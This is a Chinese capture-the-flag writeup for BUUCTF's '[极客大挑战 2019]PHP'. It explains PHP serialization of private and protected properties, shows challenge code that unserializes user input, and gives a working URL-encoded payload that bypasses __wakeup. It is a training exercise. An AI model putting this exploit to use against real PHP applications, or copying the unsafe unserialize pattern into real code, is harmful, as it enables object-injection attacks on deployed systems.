zoukankan      html  css  js  c++  java
  • BUUCTF PHP反序列化

    [极客大挑战 2019]PHP

    知识点

    1、public、protected与private在序列化时的区别:
    protected属性被序列化的时候属性值会变成%00*%00属性名
    private属性被序列化的时候属性值会变成%00类名%00属性名
    测试:

    <?php
    class people{
        public $name = 'Hh0';
        protected $age = 21;
        private $flag = 'flag{}';
    }
    $a = new people();
    echo serialize($a);
    echo "
    ";
    echo urlencode(serialize($a));
    

    DKD6Te.png
    %00是空白符,可见,$name被序列化后变成%00*%00age$flag被反序列化后变成%00people%00flag

    解题

    1、页面提示“备份”,最后访问/www.zip下载到源码
    index.php关键部分:

    <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
        ?>
    

    class.php:

    <?php
    include 'flag.php';
    
    error_reporting(0);
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
    

    在执行的__destruct()的时候,如果password等于100,且$username等于admin,就能输出flag。
    由于进行反序列化时,会优先调用__wakeup(),使得$username的值为guest。
    我们知道当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup(),所以利用序列化字符串中对象的个数进行绕过__wakeup()。
    直接复制题目的,序列化一下:

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    }
    $a = new Name('admin',100);
    echo serialize($a)."
    ";
    echo urlencode(serialize($a));
    

    运行结果:
    DKsfqf.png
    把2改大,payload:

    ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
    
  • 相关阅读:
    kibana简单使用
    全文检索 高亮显示 数据库同步添加
    算法: Reverse Bits 反转位收藏
    算法:Number of 1 Bits 收藏
    JS创建二维数组
    查询状态在1,2,5,7的记录-oracle
    oracle 修改某字段,判断是否为空,如果为空赋默认值
    在运筹学中什么样的解决方案是最优的
    项目开发失败
    筛选符合条件的数据后,如何做数据源,绑定repeater
  • 原文地址:https://www.cnblogs.com/wrnan/p/14007563.html
Copyright © 2011-2022 走看看